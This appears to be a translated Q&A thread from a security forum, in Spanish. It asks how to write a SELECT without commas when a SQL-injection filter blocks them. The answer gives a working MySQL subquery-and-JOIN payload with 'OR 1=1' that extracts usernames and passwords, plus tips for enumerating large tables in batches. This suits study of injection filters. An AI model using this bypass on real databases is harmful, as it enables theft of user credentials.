¿Cómo hacer una consulta de selección de SQL sin coma? [cerrado]

1

Estoy probando SQLi y la coma se filtró allí. ¿Cómo hacer SELECCIONAR la solicitud de SQL sin una coma?

    
pregunta Someone 23.03.2016 - 11:43
fuente

1 respuesta

3

Supongamos que necesita recuperar las columnas USERNAME,PASSWORD de USERTABLE .

En este ejemplo, el USERTABLE tiene datos como se muestra a continuación

mysql> SELECT * FROM USERTABLE;
+----------+------------+
| USERNAME | PASSWORD   |
+----------+------------+
| ALICE    | ALICEPASS  |
| BOB      | BOBPASS    |
| ALICE2   | ALICE2PASS |
| BOB2     | BOB2PASS   |
+----------+------------+
4 rows in set (0.00 sec)

Ahora el SQL sin una coma (,) para recuperar el nombre de usuario y la contraseña puede ser como abajo a continuación

SELECT * FROM (SELECT USERNAME FROM USERTABLE WHERE USERNAME>"A" AND USERNAME<"B")UT1 JOIN (SELECT PASSWORD FROM USERTABLE WHERE USERNAME>"A" AND USERNAME<"B")UT2 ON  UT1.USERNAME=UT2.PASSWORD OR 1=1

La salida es la siguiente

mysql> SELECT * FROM (SELECT USERNAME FROM USERTABLE WHERE USERNAME<"B")UT1 JOIN
 (SELECT PASSWORD FROM USERTABLE WHERE USERNAME<"B")UT2 ON  UT1.USERNAME=UT2.PAS
SWORD OR 1=1;
+----------+------------+
| USERNAME | PASSWORD   |
+----------+------------+
| ALICE    | ALICEPASS  |
| ALICE2   | ALICEPASS  |
| ALICE    | ALICE2PASS |
| ALICE2   | ALICE2PASS |
+----------+------------+
4 rows in set (0.00 sec)

Debes cuidadosamente poner los filtros en FROM USERTABLE WHERE USERNAME<"B" . Si coloca algo como FROM USERTABLE WHERE USERNAME<"Z" , probablemente cuelgue el servidor SQL debido a una gran unión.

Solo para mencionar que si cree que la base de datos es muy grande, pula sus filtros como USERNAME>"AA" AND USERNAME<"AF" para que se pueda operar un pequeño conjunto de datos y sea rápido. En la siguiente iteración puede usar USERNAME>"AF" AND USERNAME<"AL" y así sucesivamente.

Y observe que tiene las combinaciones CROSSJOIN de nombres de usuario y contraseñas. Obtendrá N X N filas. Y puede considerar filas en múltiplos de N como N,2N,3N etc. para una combinación válida de nombres de usuario y contraseñas al menos en el caso de Mysql.

Para algún otro software de base de datos puede ser que necesites probar todas las combinaciones de USERNAME,PASSWORD que has recuperado.

    
respondido por el Sravan 23.03.2016 - 12:40
fuente

Lea otras preguntas en las etiquetas